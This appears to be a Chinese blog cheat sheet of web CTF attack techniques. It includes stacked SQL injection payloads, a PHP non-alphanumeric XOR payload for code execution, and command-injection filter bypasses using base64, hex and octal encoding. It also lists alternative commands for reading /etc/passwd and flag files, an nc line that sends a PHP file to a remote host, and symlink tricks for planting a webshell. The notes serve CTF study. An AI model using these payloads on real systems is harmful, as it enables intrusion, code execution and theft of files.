web知识点合集--长期更新

  1. SQL注入堆叠注入绕过

payload1: 1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#
    set用于设置变量名和值
    prepare用于预备一个语句,并赋予名称,以后可以引用该语句
    execute执行语句
    deallocate prepare用来释放掉预处理的语句

payload2: -1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;
    PREPARE name from @sql;   //预定义SQL语句
    EXECUTE name;  //执行预定义SQL语句
    (DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

payload3: 1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
    handler table_name open ... //获取句柄
    handler ... read first //读取第一行数据
    handler ... read next //读取下一行数据

例题 [GYCTF2020]Blacklist

  1. 绕过preg_match('/[0-9a-zA-Z]/i', $_POST['cmd'])

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(${%ff%ff%ff%ff^%a0%b8%ba%ab}{%aa});
这段话经过eval执行后意思为$_GET[%ff]($_GET[%aa]);
可以任意代码执行

例题[极客大挑战 2019]RCE ME 1

  1. 如果想要得到$_GET['233_123.go']);

可以传参?233[123.go=233

php只会解析第一个特殊字符为下划线

  1. java web.xml配置文件漏洞

漏洞产生原因:通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取

漏洞利用:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。

防范:一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404

【漏洞公告】Java web.xml 信息泄漏漏洞 - 阿里云安全产品和技术 - 阿里云

  1. php也可以有ssti

在php中,字符串也可以通过{},来添加执行代码

例如


$s = 'hello {7*7}';//$s 为hello 49

6.花式读文件

代替cat的命令

cat:由第一行开始显示内容,并将所有内容输出

tac:从最后一行倒序显示内容,并将所有内容输出

more:根据窗口大小,一页一页的现实文件内容

less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head:只显示头几行

tail:只显示最后几行

nl:类似于cat -n,显示时输出行号

tailf:类似于tail -f

sort%20/flag 读文件

dir来查看当前目录文件

Linux花式读取文件内容

ps:目标是获取flag.txt的内容

static-sh读取文件:

static-sh ./flag.txt

#输出结果:

./flag.txt: line 1: flag{this_is_a_test}: not found

paste读取文件:

paste ./flag.txt /etc/passwd

#输出结果:

flag{this_is_a_test}

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

diff读取文件 :

diff ./flag.txt /etc/passwd

#输出结果:


1c1,45< flag{this_is_a_test}\ No newline at end of file---> root:x:0:0:root:/root:/bin/bash> daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin> bin:x:2:2:bin:/bin:/usr/sbin/nologin> sys:x:3:3:sys:/dev:/usr/sbin/nologin> sync:x:4:65534:sync:/bin:/bin/sync

od读取文件

od -a ./flag.txt

#输出结果:


0000000 f l a g { t h i s _ i s _ a _ t0000020 e s t }0000024

bzmore读取文件:

bzmore ./flag.txt

bzless读取文件:

bzless ./flag.txtecho `bzless ./flag.txt`

#输出结果:


------> ./flag.txt <------ flag{this_is_a_test} 

curl读取文件:

curl file:///home/coffee/flag

nc 传输文件

靶机:

nc 10.10.10.10 4444 < /var/www/html/key.php

接受机:

nc -l 4444 > key.txt

wget操作进行目标读取

wget url -P path

一些命令分隔符

linux中:%0a 、%0d 、; 、& 、| 、&&、||

windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

过滤了 bash可以用sh

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

拼接flag 1;a=fl;b=ag.php;cat $a$b

其中有这么一条过滤方法,我们用上述方法无法绕过,但是我们只要改变一下顺序就可以:1;a=ag.php;b=fl;cat $b$a绕过空格就用上面提到的$IFS$1完整的payload 1;a=ag.php;b=fl;cat$IFS$1$b$aelse if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}

编码绕过

base64:

echo YWJjZGU=|base64 -d //打印出来abcde

echo Y2F0IGZhbGcucGhw|base64 -d|bash //cat flag.php

echo Y2F0IGZhbGcucGhw|base64 -d|sh //cat flag.php

hex编码绕过:

echo 63617420666c61672e706870 | xxd -r -p|bash //cat flag.ph

unicode编码

$(printf “\154\163”) //ls

$(printf “\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70”) //cat flag.php

对于关键字还可以用单引号和反斜杠绕过 比如 cat fl’'ag cat fl\ag

总结一下,payload1;a=ag.php;b=fl;cat$IFS$1$b$a和 cat$IFS$1`ls`

得到的flag查看源码。

7.蚁剑插件绕过disable_function

  1. 文件上传软链接进行目录穿越

在文件上传题目中,可以先在本地使用ln -s生成一个指向web目录的软链接文件夹,之后在上传到这个软链接文件夹即可将马种在web目录下

打包eg

ln –s /var/www/html feng

eg:ciscn2023线上赛unzip

  1. sql利用dump命令写马

php配置不当导致执行session_start

在phpsession里如果在php.ini中设置session.auto_start=On,那么PHP每次处理PHP文件的时候都会自动执行session_start(),但是session.auto_start默认为Off。与Session相关的另一个叫session.upload_progress.enabled,默认为On,在这个选项被打开的前提下我们在multipart POST的时候传入PHP_SESSION_UPLOAD_PROGRESS,PHP会执行session_start()

这个方法同样可以用来进行文件包含和反序列化

example:[PwnThyBytes 2019]Baby_SQL

<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);

function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

?>

如果传入

import requests

url = "http://6a742e0c-c6b0-49a3-b626-f5f0578d17f1.node3.buuoj.cn/templates/login.php"

files = {"file": "123456789"}
a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                  cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'},
                  proxies={'http': "http://127.0.0.1:8080"})
print(a.text)

即可成功执行session_start

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值